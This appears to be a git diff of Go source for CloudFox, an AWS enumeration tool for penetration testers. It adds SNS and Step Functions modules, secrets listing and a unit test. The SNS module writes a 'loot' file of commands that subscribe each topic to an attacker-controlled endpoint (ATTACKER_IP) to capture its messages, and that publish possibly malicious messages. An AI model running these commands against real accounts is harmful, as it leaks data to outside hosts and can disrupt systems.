"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/secretsmanager"
|
||||
secretsmanagerTypes "github.com/aws/aws-sdk-go-v2/service/secretsmanager/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type SecretsManagerClientInterface interface {
|
||||
ListSecrets(context.Context, *secretsmanager.ListSecretsInput, ...func(*secretsmanager.Options)) (*secretsmanager.ListSecretsOutput, error)
|
||||
}
|
||||
|
||||
func RegisterSecretsManagerTypes() {
|
||||
gob.Register([]secretsmanagerTypes.SecretListEntry{})
|
||||
}
|
||||
|
||||
func CachedSecretsManagerListSecrets(client SecretsManagerClientInterface, accountID string, region string) ([]secretsmanagerTypes.SecretListEntry, error) {
|
||||
var PaginationControl *string
|
||||
var secrets []secretsmanagerTypes.SecretListEntry
|
||||
cacheKey := fmt.Sprintf("%s-secretsmanager-ListSecrets-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]secretsmanagerTypes.SecretListEntry), nil
|
||||
}
|
||||
for {
|
||||
ListSecrets, err := client.ListSecrets(
|
||||
context.TODO(),
|
||||
&secretsmanager.ListSecretsInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *secretsmanager.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return secrets, err
|
||||
}
|
||||
|
||||
secrets = append(secrets, ListSecrets.SecretList...)
|
||||
|
||||
//pagination
|
||||
if ListSecrets.NextToken == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = ListSecrets.NextToken
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, secrets, cache.DefaultExpiration)
|
||||
return secrets, nil
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
package sdk
|
||||
|
||||
import "github.com/BishopFox/cloudfox/internal"
|
||||
|
||||
var sharedLogger = internal.TxtLogger()
|
||||
@@ -0,0 +1,56 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sfn"
|
||||
sfnTypes "github.com/aws/aws-sdk-go-v2/service/sfn/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type StepFunctionsClientInterface interface {
|
||||
ListStateMachines(context.Context, *sfn.ListStateMachinesInput, ...func(*sfn.Options)) (*sfn.ListStateMachinesOutput, error)
|
||||
}
|
||||
|
||||
func RegisterStepFunctionsTypes() {
|
||||
gob.Register([]sfnTypes.StateMachineListItem{})
|
||||
}
|
||||
|
||||
func CachedStepFunctionsListStateMachines(client StepFunctionsClientInterface, accountID string, region string) ([]sfnTypes.StateMachineListItem, error) {
|
||||
var PaginationControl *string
|
||||
var stateMachines []sfnTypes.StateMachineListItem
|
||||
cacheKey := fmt.Sprintf("%s-stepfunctions-ListStateMachines-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]sfnTypes.StateMachineListItem), nil
|
||||
}
|
||||
for {
|
||||
ListStateMachines, err := client.ListStateMachines(
|
||||
context.TODO(),
|
||||
&sfn.ListStateMachinesInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *sfn.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return stateMachines, err
|
||||
}
|
||||
|
||||
stateMachines = append(stateMachines, ListStateMachines.StateMachines...)
|
||||
|
||||
//pagination
|
||||
if ListStateMachines.NextToken == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = ListStateMachines.NextToken
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, stateMachines, cache.DefaultExpiration)
|
||||
return stateMachines, nil
|
||||
}
|
||||
+20
-4
@@ -115,12 +115,28 @@ func (m *SecretsModule) PrintSecrets(outputFormat string, outputDirectory string
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
|
||||
m.writeLoot(m.output.FilePath, verbosity)
|
||||
//m.writeLoot(m.output.FilePath, verbosity)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %s secrets found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
|
||||
} else {
|
||||
@@ -146,7 +162,7 @@ func (m *SecretsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore ch
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("secretsmanager", r)
|
||||
if err != nil {
|
||||
|
||||
+23
-15
@@ -5,28 +5,23 @@ import (
|
||||
"log"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/iam"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
var cyan = color.New(color.FgCyan).SprintFunc()
|
||||
var red = color.New(color.FgRed).SprintFunc()
|
||||
var yellow = color.New(color.FgRed).SprintFunc()
|
||||
var blue = color.New(color.FgBlue).SprintFunc()
|
||||
var magenta = color.New(color.FgMagenta).SprintFunc()
|
||||
|
||||
func initIAMSimClient(iamSimPPClient iam.SimulatePrincipalPolicyAPIClient, caller sts.GetCallerIdentityOutput, AWSProfile string, Goroutines int) IamSimulatorModule {
|
||||
var green = color.New(color.FgGreen).SprintFunc()
|
||||
|
||||
iamSimMod := IamSimulatorModule{
|
||||
IAMSimulatePrincipalPolicyClient: iamSimPPClient,
|
||||
Caller: caller,
|
||||
AWSProfile: AWSProfile,
|
||||
Goroutines: Goroutines,
|
||||
}
|
||||
|
||||
return iamSimMod
|
||||
|
||||
}
|
||||
var sharedLogger = internal.TxtLogger()
|
||||
|
||||
func GetIamSimResult(SkipAdminCheck bool, roleArnPtr *string, iamSimulatorMod IamSimulatorModule, localAdminMap map[string]bool) (string, string) {
|
||||
var adminRole, canRolePrivEsc string
|
||||
@@ -110,12 +105,17 @@ func generatePmapperDataBasePaths(accountId *string) (string, string) {
|
||||
|
||||
} else if runtime.GOOS == "linux" || runtime.GOOS == "freebsd" || runtime.GOOS == "openbsd" {
|
||||
xdg, ok := os.LookupEnv("XDG_DATA_HOME")
|
||||
if !ok {
|
||||
if ok {
|
||||
edgesPath = fmt.Sprintf(xdg + aws.ToString(accountId) + "/graph/edges.json")
|
||||
nodesPath = fmt.Sprintf(xdg + aws.ToString(accountId) + "/graph/nodes.json")
|
||||
} else {
|
||||
edgesPath = fmt.Sprintf("~/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/edges.json")
|
||||
nodesPath = fmt.Sprintf("~/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/nodes.json")
|
||||
dir, err := os.UserHomeDir()
|
||||
if err == nil {
|
||||
edgesPath = fmt.Sprintf(dir + "/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/edges.json")
|
||||
nodesPath = fmt.Sprintf(dir + "/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/nodes.json")
|
||||
} else {
|
||||
log.Fatal("Could not homedir.")
|
||||
}
|
||||
}
|
||||
|
||||
} else if runtime.GOOS == "windows" {
|
||||
@@ -170,3 +170,11 @@ func GetPmapperResults(SkipAdminCheck bool, pmapperMod PmapperModule, roleArn *s
|
||||
}
|
||||
return adminRole, canRolePrivEsc
|
||||
}
|
||||
|
||||
// take an arn and return the resource name
|
||||
func GetResourceNameFromArn(arn string) string {
|
||||
parts := strings.Split(arn, "/")
|
||||
resourceName := parts[len(parts)-1]
|
||||
|
||||
return resourceName
|
||||
}
|
||||
+420
@@ -0,0 +1,420 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/internal/aws/policy"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/aws/arn"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sns"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sns/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type SNSModule struct {
|
||||
// General configuration data
|
||||
SNSClient SNSClientInterface
|
||||
AWSRegions []string
|
||||
AWSProfile string
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
StorePolicies bool
|
||||
OutputFormat string
|
||||
Goroutines int
|
||||
WrapTable bool
|
||||
|
||||
// Main module data
|
||||
Topics []SNSTopic
|
||||
CommandCounter internal.CommandCounter
|
||||
// Used to store output data for pretty printing
|
||||
output internal.OutputData2
|
||||
modLog *logrus.Entry
|
||||
}
|
||||
|
||||
type SNSClientInterface interface {
|
||||
ListTopics(ctx context.Context, params *sns.ListTopicsInput, optFns ...func(*sns.Options)) (*sns.ListTopicsOutput, error)
|
||||
GetTopicAttributes(ctx context.Context, params *sns.GetTopicAttributesInput, optFns ...func(*sns.Options)) (*sns.GetTopicAttributesOutput, error)
|
||||
}
|
||||
|
||||
type SNSTopic struct {
|
||||
ARN string
|
||||
Name string
|
||||
Region string
|
||||
Policy policy.Policy
|
||||
PolicyJSON string
|
||||
Access string
|
||||
IsPublic string
|
||||
IsConditionallyPublic string
|
||||
Statement string
|
||||
Actions string
|
||||
ConditionText string
|
||||
ResourcePolicySummary string
|
||||
}
|
||||
|
||||
func (m *SNSModule) PrintSNS(outputFormat string, outputDirectory string, verbosity int) {
|
||||
// These stuct values are used by the output module
|
||||
m.output.Verbosity = verbosity
|
||||
m.output.Directory = outputDirectory
|
||||
m.output.CallingModule = "sns"
|
||||
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
|
||||
"module": m.output.CallingModule,
|
||||
})
|
||||
if m.AWSProfile == "" {
|
||||
m.AWSProfile = internal.BuildAWSPath(m.Caller)
|
||||
}
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating SNS topics for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
|
||||
wg := new(sync.WaitGroup)
|
||||
semaphore := make(chan struct{}, m.Goroutines)
|
||||
|
||||
// Create a channel to signal the spinner aka task status goroutine to finish
|
||||
spinnerDone := make(chan bool)
|
||||
//fire up the the task status spinner/updated
|
||||
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
|
||||
|
||||
//create a channel to receive the objects
|
||||
dataReceiver := make(chan SNSTopic)
|
||||
|
||||
// Create a channel to signal to stop
|
||||
receiverDone := make(chan bool)
|
||||
go m.Receiver(dataReceiver, receiverDone)
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
// Send a message to the spinner goroutine to close the channel and stop
|
||||
spinnerDone <- true
|
||||
<-spinnerDone
|
||||
// Send a message to the data receiver goroutine to close the channel and stop
|
||||
receiverDone <- true
|
||||
<-receiverDone
|
||||
|
||||
// add - if struct is not empty do this. otherwise, dont write anything.
|
||||
m.output.Headers = []string{
|
||||
|
||||
"ARN",
|
||||
"Public?",
|
||||
"Resource Policy Summary",
|
||||
}
|
||||
|
||||
sort.SliceStable(m.Topics, func(i, j int) bool {
|
||||
return m.Topics[i].ARN < m.Topics[j].ARN
|
||||
})
|
||||
|
||||
// Table rows
|
||||
for i := range m.Topics {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Topics[i].ARN,
|
||||
m.Topics[i].IsPublic,
|
||||
m.Topics[i].ResourcePolicySummary,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName, verbosity, m.AWSProfile)
|
||||
fmt.Printf("[%s][%s] %s topics found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
fmt.Printf("[%s][%s] Access policies stored to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No topics found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
|
||||
}
|
||||
|
||||
func (m *SNSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("sns", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getSNSTopicsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *SNSModule) Receiver(receiver chan SNSTopic, receiverDone chan bool) {
|
||||
defer close(receiverDone)
|
||||
for {
|
||||
select {
|
||||
case data := <-receiver:
|
||||
m.Topics = append(m.Topics, data)
|
||||
case <-receiverDone:
|
||||
receiverDone <- true
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *SNSModule) writeLoot(outputDirectory string, verbosity int, profile string) {
|
||||
path := filepath.Join(outputDirectory, "loot")
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
}
|
||||
lootCommandsFile := filepath.Join(path, "sns-commands.txt")
|
||||
|
||||
var out string
|
||||
out = out + fmt.Sprintln("#############################################")
|
||||
out = out + fmt.Sprintln("# The profile you will use to perform these commands is most likely not the profile you used to run CloudFox")
|
||||
out = out + fmt.Sprintln("# Set the $profile environment variable to the profile you are going to use to inspect the buckets.")
|
||||
out = out + fmt.Sprintln("# E.g., export profile=dev-prod.")
|
||||
out = out + fmt.Sprintln("#############################################")
|
||||
out = out + fmt.Sprintln("")
|
||||
|
||||
for _, topic := range m.Topics {
|
||||
|
||||
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(topic.Name)+7))
|
||||
out = out + fmt.Sprintf("# Topic: %s\n", topic.Name)
|
||||
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(topic.Name)+7))
|
||||
out = out + fmt.Sprintln("# Subscribe to the topic using an attacker controlled HTTP/HTTPS endpoint")
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s sns subscribe --topic-arn %s --protocol http --notification-endpoint http://ATTACKER_IP:PORT\n", topic.Region, topic.ARN)
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s sns subscribe --topic-arn %s --protocol https --notification-endpoint https://ATTACKER_IP:PORT\n", topic.Region, topic.ARN)
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# NOTE: You will have to confirm the subscription using the URL sent to your attacker controlled http service")
|
||||
out = out + fmt.Sprintln("# NOTE: Once you have confirmed the subscription, your attacker controlled IP will received all messages published to the topic.")
|
||||
out = out + fmt.Sprintln("")
|
||||
|
||||
out = out + fmt.Sprintln("# Publish messages to an existing topic without an attributes file")
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
|
||||
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
|
||||
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s sns publish --topic-arn %s --message \"[INSERT MESSAGE BODY]\"\n\n", topic.Region, topic.ARN)
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# Send message to the topic with attributes file (You'll have to create and populate the file)")
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
|
||||
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
|
||||
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s sns publish --topic-arn %s --message \"[INSERT MESSAGE BODY] --message-attributes file://./file.json\"\n\n", topic.Region, topic.ARN)
|
||||
|
||||
}
|
||||
|
||||
err = os.WriteFile(lootCommandsFile, []byte(out), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
}
|
||||
|
||||
if verbosity > 2 {
|
||||
fmt.Println()
|
||||
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Use the commands below to send/receive sqs messages if you have right permissions."))
|
||||
fmt.Print(out)
|
||||
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), lootCommandsFile)
|
||||
|
||||
}
|
||||
|
||||
func (m *SNSModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
|
||||
ListTopics, err := m.listTopics(r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, t := range ListTopics {
|
||||
topic, err := m.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
|
||||
if err != nil {
|
||||
topic.Name = aws.ToString(t.TopicArn)
|
||||
}
|
||||
topic.Name = parsedArn.Resource
|
||||
topic.Region = parsedArn.Region
|
||||
|
||||
// easier to just set the default state to be no and only flip it to yes if we have a case that matches
|
||||
topic.IsPublic = "No"
|
||||
if !topic.Policy.IsEmpty() {
|
||||
m.analyseTopicPolicy(topic, dataReceiver)
|
||||
} else {
|
||||
// If the topic policy "resource policy" is empty, the only principals that have permisisons
|
||||
// are those that are granted access by IAM policies
|
||||
//topic.Access = "Private. Access allowed by IAM policies"
|
||||
topic.Access = "Only intra-account access (via IAM) allowed"
|
||||
dataReceiver <- *topic
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *SNSModule) listTopics(region string) ([]types.Topic, error) {
|
||||
var PaginationControl *string
|
||||
var topics []types.Topic
|
||||
|
||||
for {
|
||||
ListTopics, err := m.SNSClient.ListTopics(
|
||||
context.TODO(),
|
||||
&sns.ListTopicsInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *sns.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, t := range ListTopics.Topics {
|
||||
topics = append(topics, t)
|
||||
}
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if ListTopics.NextToken != nil {
|
||||
PaginationControl = ListTopics.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return topics, nil
|
||||
}
|
||||
|
||||
func (m *SNSModule) getTopicWithAttributes(topicARN string, region string) (*SNSTopic, error) {
|
||||
topic := &SNSTopic{
|
||||
ARN: topicARN,
|
||||
}
|
||||
|
||||
GetTopicAttributes, err := m.SNSClient.GetTopicAttributes(
|
||||
context.TODO(),
|
||||
&sns.GetTopicAttributesInput{
|
||||
TopicArn: aws.String(topicARN),
|
||||
},
|
||||
func(o *sns.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("GetTopicAttributes(%s) failed: %s", topicARN, err)
|
||||
}
|
||||
|
||||
if policyJSON, ok := GetTopicAttributes.Attributes["Policy"]; ok {
|
||||
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parsing topic access policy (%s) as JSON: %s", topicARN, err)
|
||||
}
|
||||
|
||||
topic.PolicyJSON = policyJSON
|
||||
topic.Policy = policy
|
||||
}
|
||||
|
||||
return topic, nil
|
||||
}
|
||||
|
||||
func (m *SNSModule) analyseTopicPolicy(topic *SNSTopic, dataReceiver chan SNSTopic) {
|
||||
m.storeAccessPolicy(topic)
|
||||
|
||||
if topic.Policy.IsPublic() && !topic.Policy.IsConditionallyPublic() {
|
||||
topic.IsPublic = "YES"
|
||||
}
|
||||
|
||||
for i, statement := range topic.Policy.Statement {
|
||||
var prefix string = ""
|
||||
if len(topic.Policy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
topic.ResourcePolicySummary = topic.ResourcePolicySummary + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
} else {
|
||||
topic.ResourcePolicySummary = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
topic.ResourcePolicySummary = strings.TrimSuffix(topic.ResourcePolicySummary, "\n")
|
||||
|
||||
}
|
||||
dataReceiver <- *topic
|
||||
|
||||
}
|
||||
|
||||
func (m *SNSModule) storeAccessPolicy(topic *SNSTopic) {
|
||||
f := filepath.Join(m.getLootDir(), fmt.Sprintf("%s.json", m.getTopicName(topic.ARN)))
|
||||
|
||||
if err := m.storeFile(f, topic.PolicyJSON); err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
|
||||
func (m *SNSModule) getLootDir() string {
|
||||
return filepath.Join(m.output.FilePath, "loot", "sns-policies")
|
||||
}
|
||||
|
||||
// Example: arn:aws:sns:us-east-2:123456789012:MyTopic
|
||||
func (m *SNSModule) getTopicName(topicARN string) string {
|
||||
tokens := strings.SplitN(topicARN, ":", 6)
|
||||
if len(tokens) != 6 {
|
||||
return ""
|
||||
}
|
||||
return tokens[5]
|
||||
}
|
||||
|
||||
func (m *SNSModule) storeFile(filename string, policy string) error {
|
||||
err := os.MkdirAll(filepath.Dir(filename), 0750)
|
||||
if err != nil && !os.IsExist(err) {
|
||||
return fmt.Errorf("creating parent dirs: %s", err)
|
||||
}
|
||||
|
||||
return os.WriteFile(filename, []byte(policy), 0644)
|
||||
|
||||
}
|
||||
+138
@@ -0,0 +1,138 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sns"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sns/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/spf13/afero"
|
||||
)
|
||||
|
||||
func TestSNSQueues(t *testing.T) {
|
||||
c := &mockedSNSClient{
|
||||
Topics: map[string]map[string]string{
|
||||
"arn:aws:sns:us-east-1:123456789012:MyFirstTopic": {
|
||||
"Policy": `{"Statement":[{"Effect":"Allow","Principal":"*","Action":"SNS:Publish","Resource":"arn:aws:sns:us-east-1:123456789012:MyFirstTopic","Condition":{"StringEquals":{"aws:sourceVpce":"vpce-1a2b3c4d"}}}]}`,
|
||||
},
|
||||
"arn:aws:sns:us-west-2:123456789012:MySecondTopic": {},
|
||||
},
|
||||
}
|
||||
|
||||
m := SNSModule{
|
||||
SNSClient: c,
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
Account: aws.String("123456789012"),
|
||||
},
|
||||
AWSRegions: []string{"us-east-1", "us-west-1", "us-west-2"},
|
||||
AWSProfile: "unittesting",
|
||||
StorePolicies: true,
|
||||
Goroutines: 3,
|
||||
}
|
||||
|
||||
fs := internal.MockFileSystem(true)
|
||||
defer internal.MockFileSystem(false)
|
||||
tmpDir := "."
|
||||
|
||||
// execute the module with verbosity = 2
|
||||
m.PrintSNS("table", tmpDir, 2)
|
||||
|
||||
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/123456789012-unittesting/table/sns.txt")
|
||||
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
|
||||
if err != nil {
|
||||
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
|
||||
}
|
||||
expectedResults := strings.TrimLeft(`
|
||||
╭──────────────────────────────────────────────────┬─────────┬─────────────────────────────────────────────╮
|
||||
│ ARN │ Public? │ Resource Policy Summary │
|
||||
├──────────────────────────────────────────────────┼─────────┼─────────────────────────────────────────────┤
|
||||
│ arn:aws:sns:us-east-1:123456789012:MyFirstTopic │ No │ Everyone can SNS:Publish │
|
||||
│ │ │ -> Only when aws:sourceVpce = vpce-1a2b3c4d │
|
||||
│ arn:aws:sns:us-west-2:123456789012:MySecondTopic │ No │ │
|
||||
╰──────────────────────────────────────────────────┴─────────┴─────────────────────────────────────────────╯
|
||||
`, "\n")
|
||||
if string(resultsFile) != expectedResults {
|
||||
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
|
||||
}
|
||||
}
|
||||
|
||||
/// ########## Mocks ##########
|
||||
|
||||
// mockedSNSClient can return data about a hardcoded set of topics
|
||||
type mockedSNSClient struct {
|
||||
Topics map[string]map[string]string // map of topic ARNs to attributes (which are maps of string names to string values)
|
||||
}
|
||||
